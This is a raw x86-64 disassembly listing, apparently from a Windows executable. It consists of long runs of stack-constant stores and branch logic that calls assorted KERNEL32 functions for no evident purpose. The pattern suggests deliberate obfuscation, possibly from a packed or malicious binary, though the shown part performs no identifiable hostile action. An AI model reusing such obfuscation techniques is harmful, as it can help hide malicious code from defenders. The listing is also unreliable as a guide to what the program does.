mov dword [rsp + 0x2818], 0x4d922abf
mov dword [rsp + 0x281c], 0x4b3bd105
mov eax, 0xbb0
mov word [rsp + 0xa00], ax
mov byte [rsp + 0xd5], ILClone
mov byte [rsp + 0xd6], ILClone
mov dword [rsp + 0x2820], 0x56123c4a
movabs rax, 0x8b2c67e83bc9266c
mov qword [rsp + 0x4ad0], rax
mov dword [rsp + 0x2824], 0x39723359
movabs rax, 0x500fbf91d7407c69
mov qword [rsp + 0x4ad8], rax
mov dword [rsp + 0x2828], 0x6c65ce59
mov eax, 0x25f4
mov word [rsp + 0xa04], ax
mov byte [rsp + 0xd7], 0xcd
mov eax, 0x1e8
mov word [rsp + 0xa08], ax
mov byte [rsp + 0xd8], 0xfb
mov dword [rsp + 0x282c], 0x864c9d95
movabs rax, 0x7a2988bc16fa21e9
mov qword [rsp + 0x4ae0], rax
mov dword [rsp + 0x2830], 0x43d8d575
movabs rax, 0xb6f20aa0bc33a27e
mov qword [rsp + 0x4ae8], rax
mov dword [rsp + 0x2834], 0x7b026088
mov byte [rsp + 0xd9], 0xe8
mov byte [rsp + 0xda], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x2838], 0x89c28e3a
mov eax, 0xf46
mov word [rsp + 0xa0c], ax
movabs rax, 0x41f9fd06be13aaae
mov qword [rsp + 0x4af0], rax
mov eax, 0x34e3
mov word [rsp + 0xa10], ax
mov dword [rsp + 0x283c], 0x66f17d95
mov byte [rsp + 0xdb], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xdc], 0xe6
mov byte [rsp + 0xdd], 0xfb
movabs rax, 0x91b2ea55056e9308
mov qword [rsp + 0x4af8], rax
mov dword [rsp + 0x2840], 0x4ab60c88
mov dword [rsp + 0x2844], 0x1cfc828e
mov eax, 0x2a4e
mov word [rsp + 0xa14], ax
movabs rax, 0x1bb02caecce164f2
mov qword [rsp + 0x4b00], rax
mov byte [rsp + 0xde], 0x8d
mov dword [rsp + 0x2848], 0x61255f30
movabs rax, 0x70f2936a0c92814d
mov qword [rsp + 0x4b08], rax
mov byte [rsp + 0xdf], 0x34
movabs rax, 0x6277aacdcd02ba30
mov qword [rsp + 0x4b10], rax
mov byte [rsp + 0xe0], 0xfc
mov dword [rsp + 0x284c], 0x31ff757a
movabs rax, 0x53847519dc5392c6
mov qword [rsp + 0x4b18], rax
mov byte [rsp + 0xe1], 0x93
mov dword [rsp + 0x2850], 0x21f04b01
mov byte [rsp + 0xe2], pe_nt_image_headers64
mov byte [rsp + 0xe3], 0x36
mov eax, 0x72
mov word [rsp + 0xa18], ax
mov byte [rsp + 0xe4], 7
movabs rax, 0x18cf1ae96944d825
mov qword [rsp + 0x4b20], rax
mov byte [rsp + 0xe5], ILFree
movabs rax, 0xe2b412e7a74845ef
mov qword [rsp + 0x4b28], rax
mov eax, 0x2c1d
mov word [rsp + 0xa1c], ax
movabs rax, 0x118335e72a51ef2f
mov qword [rsp + 0x4b30], rax
mov byte [rsp + 0xe6], ILClone
movabs rax, 0x2f641755360dbe2a
mov qword [rsp + 0x4b38], rax
mov dword [rsp + 0x2854], 0x2419abf1
mov byte [rsp + 0xe7], 0x6e
mov byte [rsp + 0xe8], 0x30
mov byte [rsp + 0xe9], 0x7e
movabs rax, 0xc5ca431518f48107
mov qword [rsp + 0x4b40], rax
mov dword [rsp + 0x2858], 0x49fa39bb
mov eax, 0x414
mov word [rsp + 0xa20], ax
mov byte [rsp + 0xea], SHDoDragDrop
mov dword [rsp + 0x285c], 0x7a4f04e3
mov eax, 0x48e
mov word [rsp + 0xa24], ax
mov byte [rsp + 0xeb], 0x40
movabs rax, 0xfbd09385d161eb78
mov qword [rsp + 0x4b48], rax
movabs rax, 0x78afae39ad889692
mov qword [rsp + 0x4b50], rax
mov byte [rsp + 0xec], 0xa
mov byte [rsp + 0xed], 0x62
movabs rax, 0x3fcdf1f2e6dc152
mov qword [rsp + 0x4b58], rax
mov dword [rsp + 0x2860], 0x3f7700b1
mov dword [rsp + 0x2864], 0x6a7292d
movabs rax, 0x5db99da2b28d7b2f
mov qword [rsp + 0x4b60], rax
mov eax, 0x95b
mov word [rsp + 0xa28], ax
mov byte [rsp + 0xee], SHDoDragDrop
mov byte [rsp + 0xef], 0x68
mov byte [rsp + 0xf0], 0xa
mov byte [rsp + 0xf1], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov byte [rsp + 0xf2], 0x41
mov eax, 0x21c1
mov word [rsp + 0xa2c], ax
mov eax, 0x8d8
mov word [rsp + 0xa30], ax
mov eax, 0xd4
mov word [rsp + 0xa34], ax
movabs rax, 0x35a62b393f00a464
mov qword [rsp + 0x4b68], rax
mov eax, 0x1d7
mov word [rsp + 0xa38], ax
mov byte [rsp + 0xf3], SHDoDragDrop
mov dword [rsp + 0x2868], 0x3036aa02
mov byte [rsp + 0xf4], 0x66
movabs rax, 0x7e3281f85cc88c89
mov qword [rsp + 0x4b70], rax
movabs rax, 0x66f40446238afa4
mov qword [rsp + 0x4b78], rax
movabs rax, 0x73d78e19ef64820f
mov qword [rsp + 0x4b80], rax
movabs rax, 0xae60af38e884beaf
mov qword [rsp + 0x4b88], rax
mov byte [rsp + 0xf5], 0xce
mov byte [rsp + 0xf6], 0x30
movabs rax, 0x4189d45c9e06a5f5
mov qword [rsp + 0x4b90], rax
mov eax, 0xb31
mov word [rsp + 0xa3c], ax
movabs rax, 0x2abb02486429ae62
mov qword [rsp + 0x4b98], rax
movabs rax, 0x747f3b4ac05338fd
mov qword [rsp + 0x4ba0], rax
mov dword [rsp + 0x286c], 0x9c478224
mov dword [rsp + 0x2870], 0x31d2c886
movabs rax, 0x693847005e29df4e
mov qword [rsp + 0x4ba8], rax
mov dword [rsp + 0x2874], 0x4f2bc771
mov dword [rsp + 0x2878], 0x5909d370
movabs rax, 0x1cb089da1058691c
mov qword [rsp + 0x4bb0], rax
movabs rax, 0x4bf84486a89443
mov qword [rsp + 0x4bb8], rax
mov byte [rsp + 0xf7], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x53ba4f04d403dbba
mov qword [rsp + 0x4bc0], rax
mov dword [rsp + 0x287c], 0x4e18e906
mov byte [rsp + 0xf8], 0xe3
movabs rax, 0x6e10d67d6e287073
mov qword [rsp + 0x4bc8], rax
mov dword [rsp + 0x2880], 0x4195c8b5
movabs rax, 0x6bdc50cf4fc02765
mov qword [rsp + 0x4bd0], rax
mov dword [rsp + 0x2884], 0x7a94332f
mov dword [rsp + 0x2888], 0x8091f7fa
mov eax, 0xef4
mov word [rsp + 0xa40], ax
mov byte [rsp + 0xf9], PathYetAnotherMakeUniqueName
mov eax, 0x555c
mov word [rsp + 0xa44], ax
movabs rax, 0xa166e77acadaa0b
mov qword [rsp + 0x4bd8], rax
mov dword [rsp + 0x288c], 0x78cd9400
movabs rax, 0x8498ad3520234585
mov qword [rsp + 0x4be0], rax
mov byte [rsp + 0xfa], 0x4f
movabs rax, 0x56958da0fe9300bf
mov qword [rsp + 0x4be8], rax
mov byte [rsp + 0xfb], 0x6d
movabs rax, 0x7ed481a5e306e93
mov qword [rsp + 0x4bf0], rax
mov dword [rsp + 0x2890], 0xeb46e224
movabs rax, 0x7b63bab4bc8825ad
mov qword [rsp + 0x4bf8], rax
mov eax, 0x238b
mov word [rsp + 0xa48], ax
mov byte [rsp + 0xfc], 0x6c
movabs rax, 0x22b585dae6407d84
mov qword [rsp + 0x4c00], rax
mov eax, 0x2341
mov word [rsp + 0xa4c], ax
mov dword [rsp + 0x2894], 0x48fbe4ff
mov eax, 0xc83
mov word [rsp + 0xa50], ax
mov eax, 0x481
mov word [rsp + 0xa54], ax
movabs rax, 0x5cfeb722c975c892
mov qword [rsp + 0x4c08], rax
mov dword [rsp + 0x2898], 0x1dd8223b
movabs rax, 0x1b0cec80af181fb3
mov qword [rsp + 0x4c10], rax
mov byte [rsp + 0xfd], PathYetAnotherMakeUniqueName
mov eax, 0x34e3
mov word [rsp + 0xa58], ax
mov byte [rsp + 0xfe], 0x78
movabs rax, 0x45b8f0c801d2b33d
mov qword [rsp + 0x4c18], rax
movabs rax, 0x740fef03fb6daeec
mov qword [rsp + 0x4c20], rax
mov byte [rsp + 0xff], 0x1d
mov byte [rsp + 0x100], 0x64
movabs rax, 0x2d9d67437320ec6a
mov qword [rsp + 0x4c28], rax
movabs rax, 0x73eb5773e588e5ed
mov qword [rsp + 0x4c30], rax
mov dword [rsp + 0x289c], 0xf28b7c89
mov eax, 0x4b7
mov word [rsp + 0xa5c], ax
mov byte [rsp + 0x101], 0x32
mov eax, 0x4ea0
mov word [rsp + 0xa60], ax
mov eax, 0xaa7
mov word [rsp + 0xa64], ax
mov eax, 0xe4a
mov word [rsp + 0xa68], ax
mov byte [rsp + 0x102], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x103], reloc.SHELL32.dll_ILCombine
mov eax, 0xd2c
mov word [rsp + 0xa6c], ax
mov dword [rsp + 0x28a0], 0x5a0e37d3
mov eax, 0x210
mov word [rsp + 0xa70], ax
mov byte [rsp + 0x104], 0xa
mov dword [rsp + 0x28a4], 0x11a783e
movabs rax, 0xbd01de9b54d77587
mov qword [rsp + 0x4c38], rax
mov byte [rsp + 0x105], 0x77
mov dword [rsp + 0x28a8], 0x70a98395
mov byte [rsp + 0x106], PathYetAnotherMakeUniqueName
mov eax, 0x7f28
mov word [rsp + 0xa74], ax
mov eax, 0xeb
mov word [rsp + 0xa78], ax
mov dword [rsp + 0x28ac], 0x89161dc8
mov dword [rsp + 0x28b0], 0x6df9b119
mov eax, 0x790d
mov word [rsp + 0xa7c], ax
movabs rax, 0x6001f9af8e8d2726
mov qword [rsp + 0x4c40], rax
mov dword [rsp + 0x28b4], 0xb3d1f073
mov dword [rsp + 0x28b8], 0x80dcf2de
mov dword [rsp + 0x28bc], 0x7d389848
mov dword [rsp + 0x28c0], 0x6c2e9727
mov byte [rsp + 0x107], 0x68
mov byte [rsp + 0x108], 0x22
mov byte [rsp + 0x109], 0xa
movabs rax, 0xbc85c4b43fc039
mov qword [rsp + 0x4c48], rax
mov byte [rsp + 0x10a], 0xb5
mov eax, 0x653f
mov word [rsp + 0xa80], ax
movabs rax, 0x2099a50e04b49f0
mov qword [rsp + 0x4c50], rax
mov dword [rsp + 0x28c4], 0x13789121
mov dword [rsp + 0x28c8], 0x386749e2
mov dword [rsp + 0x28cc], 0xcd8d8507
movabs rax, 0x761ba17102a9d980
mov qword [rsp + 0x4c58], rax
movabs rax, 0x35560fb007ba09af
mov qword [rsp + 0x4c60], rax
mov dword [rsp + 0x28d0], 0x861a0b7
mov byte [rsp + 0x10b], 0x6c
movabs rax, 0x1873ea81c200df4
mov qword [rsp + 0x4c68], rax
mov eax, 0x3b27
mov word [rsp + 0xa84], ax
mov eax, 0xe09
mov word [rsp + 0xa88], ax
mov dword [rsp + 0x28d4], 0x6c27e9b5
mov byte [rsp + 0x10c], 0x50
mov eax, 0x4fe5
mov word [rsp + 0xa8c], ax
mov dword [rsp + 0x28d8], 0x6e7a2642
mov eax, 0x2753
mov word [rsp + 0xa90], ax
mov eax, 0x4050
mov word [rsp + 0xa94], ax
mov dword [rsp + 0x28dc], 0x1f1cb63f
movabs rax, 0x4d91f88787a5b627
mov qword [rsp + 0x4c70], rax
movabs rax, 0x4847d7474268ea65
mov qword [rsp + 0x4c78], rax
mov dword [rsp + 0x28e0], 0x296d0b95
mov dword [rsp + 0x28e4], 0xd2a790b
mov byte [rsp + 0x10d], 0xa5
movabs rax, 0x53bee8e2aa17802e
mov qword [rsp + 0x4c80], rax
mov eax, 0x84f
mov word [rsp + 0xa98], ax
mov dword [rsp + 0x28e8], 0xb800eb0a
movabs rax, 0x8895bd3cf373261a
mov qword [rsp + 0x4c88], rax
mov dword [rsp + 0x28ec], 0x612984de
movabs rax, 0x32154439b26e37b5
mov qword [rsp + 0x4c90], rax
mov eax, 0xbe0
mov word [rsp + 0xa9c], ax
mov dword [rsp + 0x28f0], 0xde7ed063
mov byte [rsp + 0x10e], 0xf8
mov dword [rsp + 0x28f4], 0x131a6fdb
movabs rax, 0x7ffa6c4882cf5151
mov qword [rsp + 0x4c98], rax
mov byte [rsp + 0x10f], SHSetInstanceExplorer
mov eax, 0x1a2
mov word [rsp + 0xaa0], ax
mov eax, 0x9d8
mov word [rsp + 0xaa4], ax
movabs rax, 0xfe1b09ea5bb8594a
mov qword [rsp + 0x4ca0], rax
mov dword [rsp + 0x28f8], 0x23805027
movabs rax, 0x535c65ac28a01bac
mov qword [rsp + 0x4ca8], rax
mov eax, 0x1c4
mov word [rsp + 0xaa8], ax
movabs rax, 0x3feb45a0f6fd8f5f
mov qword [rsp + 0x4cb0], rax
mov byte [rsp + 0x110], 8
movabs rax, 0x586afa58d0ae5077
mov qword [rsp + 0x4cb8], rax
movabs rax, 0x7f1d7791cf541d73
mov qword [rsp + 0x4cc0], rax
mov byte [rsp + 0x111], ILCombine
movabs rax, 0xa37be43a3ca704d0
mov qword [rsp + 0x4cc8], rax
mov eax, 0x2ba1
mov word [rsp + 0xaac], ax
mov byte [rsp + 0x112], PathYetAnotherMakeUniqueName
mov eax, 0xe0b
mov word [rsp + 0xab0], ax
mov dword [rsp + 0x28fc], 0x7a05848e
movabs rax, 0x4031239cfc454fb3
mov qword [rsp + 0x4cd0], rax
mov eax, 0x29e3
mov word [rsp + 0xab4], ax
mov byte [rsp + 0x113], 0x66
mov byte [rsp + 0x114], 0xa8
mov byte [rsp + 0x115], 0x26
mov eax, 0xd01
mov word [rsp + 0xab8], ax
mov byte [rsp + 0x116], 0
mov dword [rsp + 0x2900], 0xc8d9d1b
mov dword [rsp + 0x2904], 0x1f829273
mov byte [rsp + 0x117], 0x7d
movabs rax, 0x25de1071f95f34e2
mov qword [rsp + 0x4cd8], rax
mov byte [rsp + 0x118], 0
mov eax, 0x206
mov word [rsp + 0xabc], ax
movabs rax, 0x2b16c79747d104d1
mov qword [rsp + 0x4ce0], rax
mov byte [rsp + 0x119], 0x77
mov byte [rsp + 0x11a], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x30ffd3627fac5cca
mov qword [rsp + 0x4ce8], rax
movabs rax, 0x4e708057266fbf9a
mov qword [rsp + 0x4cf0], rax
mov byte [rsp + 0x11b], 0x43
movabs rax, 0x33120df2b67750aa
mov qword [rsp + 0x4cf8], rax
movabs rax, 0xc6a5f14ff0bb0dc3
mov qword [rsp + 0x4d00], rax
mov byte [rsp + 0x11c], PathMakeUniqueName
movabs rax, 0x28edcb68f3699762
mov qword [rsp + 0x4d08], rax
movabs rax, 0x56e924b511168d6b
mov qword [rsp + 0x4d10], rax
mov eax, 0xf7b
mov word [rsp + 0xac0], ax
mov byte [rsp + 0x11d], ILClone
mov eax, 0xfce
mov word [rsp + 0xac4], ax
mov eax, 0x6196
mov word [rsp + 0xac8], ax
mov dword [rsp + 0x2908], 0x559b1edb
mov dword [rsp + 0x290c], 0x87130e45
mov dword [rsp + 0x2910], 0x1b2eb81a
mov dword [rsp + 0x2914], 0x7647474b
mov dword [rsp + 0x2918], 0x11ccc328
mov byte [rsp + 0x11e], 0x6b
mov eax, 0xea2
mov word [rsp + 0xacc], ax
mov byte [rsp + 0x11f], SHDoDragDrop
movabs rax, 0x75060ca35f5fb4ce
mov qword [rsp + 0x4d18], rax
mov byte [rsp + 0x120], 0x1c
mov byte [rsp + 0x121], 0x92
mov eax, 0x3377
mov word [rsp + 0xad0], ax
mov eax, 0x3fc
mov word [rsp + 0xad4], ax
movabs rax, 0x4757dd70edc54055
mov qword [rsp + 0x4d20], rax
mov byte [rsp + 0x122], 0x79
mov dword [rsp + 0x291c], 0x5ffca987
mov byte [rsp + 0x123], 0x30
movabs rax, 0x58832329f2ce477e
mov qword [rsp + 0x4d28], rax
mov byte [rsp + 0x124], 0x37
mov eax, 0x3e9
mov word [rsp + 0xad8], ax
mov dword [rsp + 0x2920], 0x2c6c4816
movabs rax, 0x3bff0d9825f7f61
mov qword [rsp + 0x4d30], rax
mov byte [rsp + 0x125], PathMakeUniqueName
mov byte [rsp + 0x126], 5
mov byte [rsp + 0x127], 0x36
mov dword [rsp + 0x2924], 0x405bc01f
mov dword [rsp + 0x2928], 0xea7f2705
mov byte [rsp + 0x128], 0x6f
mov eax, 0x517
mov word [rsp + 0xadc], ax
movabs rax, 0x6468ecfdc06f18c4
mov qword [rsp + 0x4d38], rax
mov dword [rsp + 0x292c], 0xe3e02a6d
mov dword [rsp + 0x2930], 0x6eb44343
mov eax, 0x247b
mov word [rsp + 0xae0], ax
mov eax, 0xe72
mov word [rsp + 0xae4], ax
mov byte [rsp + 0x129], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x2934], 0xfa60776
mov dword [rsp + 0x2938], 0x790f3073
mov byte [rsp + 0x12a], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x341
mov word [rsp + 0xae8], ax
mov dword [rsp + 0x293c], 0xee66089b
movabs rax, 0xed668aa849c249e8
mov qword [rsp + 0x4d40], rax
mov eax, 0x2fef
mov word [rsp + 0xaec], ax
mov dword [rsp + 0x2940], 0x3bc34c42
movabs rax, 0x4cce412a1ee6eadc
mov qword [rsp + 0x4d48], rax
mov eax, 0xfe5
mov word [rsp + 0xaf0], ax
mov eax, 0x376
mov word [rsp + 0xaf4], ax
mov eax, 0x768
mov word [rsp + 0xaf8], ax
mov eax, 0x888
mov word [rsp + 0xafc], ax
movabs rax, 0x575e9b5344d89871
mov qword [rsp + 0x4d50], rax
mov dword [rsp + 0x2944], 0x65e53d8f
mov dword [rsp + 0x2948], 0x780a569e
mov dword [rsp + 0x294c], 0x4951d4ae
mov byte [rsp + 0x12b], 0x3a
movabs rax, 0x109911e8ff8dc8a0
mov qword [rsp + 0x4d58], rax
movabs rax, 0xe7e1fdf2993ac626
mov qword [rsp + 0x4d60], rax
mov dword [rsp + 0x2950], 0xe655cfd
mov byte [rsp + 0x12c], 0x5b
mov byte [rsp + 0x12d], SHDoDragDrop
mov dword [rsp + 0x2954], 0x5db4d24b
mov byte [rsp + 0x12e], 0x5a
mov byte [rsp + 0x12f], 0x5a
mov dword [rsp + 0x2958], 0x5b09bd8f
mov byte [rsp + 0x130], reloc.SHELL32.dll_ILClone
mov eax, 0x7ff
mov word [rsp + 0xb00], ax
mov eax, 0x5961
mov word [rsp + 0xb04], ax
mov eax, 0x44c
mov word [rsp + 0xb08], ax
mov eax, 0xcd3
mov word [rsp + 0xb0c], ax
mov eax, 0x6222
mov word [rsp + 0xb10], ax
mov eax, 0x6087
mov word [rsp + 0xb14], ax
mov dword [rsp + 0x295c], 0xc1cbd291
mov byte [rsp + 0x131], 0x6b
mov dword [rsp + 0x2960], 0xd7cb
movzx eax, byte [rsp + 0x5f]
sub eax, 0x66
mov byte [rsp + 0x5f], al
movzx eax, byte [rsp + 0x5f]
cmp eax, 0xe3
jle 0x14005695b
call fcn.14014a530
nop
jmp 0x1400569e4
movzx eax, byte [rsp + 0x5f]
add eax, 0x4b
cmp eax, 0x17
jge 0x1400569e4
movzx eax, byte [rsp + 0x5f]
imul eax, eax, 0x41
cmp eax, 0xa0
jg 0x1400569cd
movzx eax, byte [rsp + 0x5f]
xor eax, 0xce
mov byte [rsp + 0x5f], al
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x2964], al
cmp byte [rsp + 0x2964], 0x6c
je 0x14005699d
jmp 0x1400569b9
lea rdx, [rsp + 0x5f]
mov rcx, qword [rsp + 0x4d68]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x2968], eax
jmp 0x1400569cb
movsx eax, byte [rsp + 0x131]
or eax, 0x58
mov byte [rsp + 0x131], al
jmp 0x1400569e4
movzx eax, byte [rsp + 0x5f]
and eax, 0x3b
cmp eax, 0x6f
jg 0x1400569e4
mov cx, 0xe2
call fcn.14014a980
nop
mov dword [rsp + 0x296c], 0xab33
mov eax, 0xf2e
mov word [rsp + 0xb18], ax
mov dword [rsp + 0x2970], 0xb533
movabs rax, 0x653245fed8b79074
mov qword [rsp + 0x4d70], rax
movabs rax, 0x3541c049a84066e8
mov qword [rsp + 0x4d78], rax
movzx eax, word [rsp + 0xb18]
cmp eax, 0xb39
jg 0x140056ab5
mov rcx, qword [rsp + 0x4d80]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x2974], eax
movabs rax, 0x533a268f3b96caff
cmp qword [rsp + 0x4d78], rax
jg 0x140056ab5
movzx eax, byte [rsp + 0x5f]
sar eax, 3
mov byte [rsp + 0x5f], al
mov ecx, 0x43
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x2978], eax
mov rax, qword [rsp + 0x4d70]
shl rax, 0x38
mov qword [rsp + 0x4d70], rax
movabs rax, 0x54c4dfa910b032c2
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov dword [rsp + 0x297c], 0x2b72
movabs rax, 0x3b4cfa91886b48a7
mov rcx, qword [rsp + 0x4d78]
add rcx, rax
mov rax, rcx
movabs rcx, 0xdf590d5cf91dc7f
cmp rax, rcx
jle 0x140149c00
movzx eax, word [rsp + 0xb18]
cmp eax, 0x9d6
jle 0x140149b8c
mov rax, qword [rsp + 0x4d70]
mov qword [rsp + 0x4d88], rax
mov eax, dword [rsp + 0x2980]
mov dword [rsp + 0x2984], eax
cmp dword [rsp + 0x2984], 0xc08d22e9
je 0x140056b2e
jmp 0x140056c0c
mov eax, dword [rsp + 0x2974]
mov dword [rsp + 0x2988], eax
mov eax, dword [rsp + 0x2974]
mov dword [rsp + 0x298c], eax
cmp dword [rsp + 0x298c], 0x397b1e00
je 0x140056bf2
cmp dword [rsp + 0x298c], 0x70679d1c
je 0x140056b6d
jmp 0x140056c07
movabs rax, 0x3dd2a5f5bebe6da0
cmp qword [rsp + 0x4d78], rax
jl 0x140056b9e
lea rdx, [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4d68]
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov dword [rsp + 0x2990], eax
mov rax, qword [rsp + 0x4d88]
shl rax, 0xeb
cmp rax, qword [rsp + 0x4d70]
je 0x140056bf0
movzx eax, byte [rsp + 0x5f]
and eax, 0xa2
mov byte [rsp + 0x5f], al
mov word [rsp + 0x20], 0xc7
mov r9d, dword [rsp + 0x2980]
movzx r8d, word [rsp + 0xb18]
movzx edx, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4d78]
call fcn.14014af40
nop
jmp 0x140056c07
movzx eax, word [rsp + 0xb18]
sub eax, 0xe8e
mov word [rsp + 0xb18], ax
jmp 0x140149b34
lea rax, [rsp + 0x131]
mov qword [rsp + 0x4d90], rax
mov dword [rsp + 0x2994], 0x78d1
mov dword [rsp + 0x2998], 0xc273
mov eax, dword [rsp + 0x2988]
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, byte [rsp + 0x131]
add eax, 0x72
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movabs rax, 0x1f5615d1cf1154e6
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov eax, dword [rsp + 0x296c]
add eax, 0xea
mov dword [rsp + 0x296c], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5f]
add eax, 0x68
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
movsx eax, byte [rsp + 0x131]
sub eax, 0x1d
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movabs rax, 0x4d0741793d7fb9c7
mov rcx, qword [rsp + 0x4d78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
xor eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
sar eax, cl
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
shl rax, 0x2c
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
add eax, 0x23
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov eax, dword [rsp + 0x2980]
mov dword [rsp + 0x2974], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movabs rax, 0x581f3042a7630301
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
movabs rax, 0x240cbb31eaf4e6c6
mov rcx, qword [rsp + 0x4d88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d90]
movzx ecx, byte [rsp + 0x131]
mov byte [rax], cl
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
sub eax, 0x7e
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x4d78]
sar rax, 0x3a
mov qword [rsp + 0x4d78], rax
movzx eax, byte [rsp + 0x5f]
shl eax, 5
mov byte [rsp + 0x5f], al
movsx eax, byte [rsp + 0x131]
or eax, 0x2a
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, byte [rsp + 0x131]
xor eax, 0x62
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movabs rax, 0x5a4e37899d23da1a
mov rcx, qword [rsp + 0x4d78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2974], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
sub eax, 0x6d
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
sub eax, 0x2c
mov byte [rsp + 0x131], al
movzx eax, word [rsp + 0xb18]
add eax, 0xc5b
mov word [rsp + 0xb18], ax
movzx eax, byte [rsp + 0x5f]
and eax, 0xf8
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
movabs rax, 0x2c7c68e1be5a546a
mov rcx, qword [rsp + 0x4d78]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d70]
shl rax, 0x25
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4d78]
sar rax, 0xe
mov qword [rsp + 0x4d78], rax
movabs rax, 0x31e9a935741bf0fa
mov rcx, qword [rsp + 0x4d70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, word [rsp + 0xb18]
and eax, 0x390
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
sub eax, 0x7a
mov byte [rsp + 0x131], al
movabs rax, 0x67d2a7bc2396085c
mov rcx, qword [rsp + 0x4d88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
cmp dword [rsp + 0x296c], 0xfba3
jne 0x140056c32
lea rax, [rsp + 0x4d78]
mov qword [rsp + 0x4d98], rax
mov eax, dword [rsp + 0x2980]
mov dword [rsp + 0x2988], eax
mov dword [rsp + 0x299c], 0x3669
mov rax, qword [rsp + 0x4d90]
movzx eax, byte [rax]
mov byte [rsp + 0x29a0], al
cmp byte [rsp + 0x29a0], 0xba
je 0x140057117
cmp byte [rsp + 0x29a0], 1
je 0x140149a22
jmp 0x140149b00
lea rax, [rsp + 0x5f]
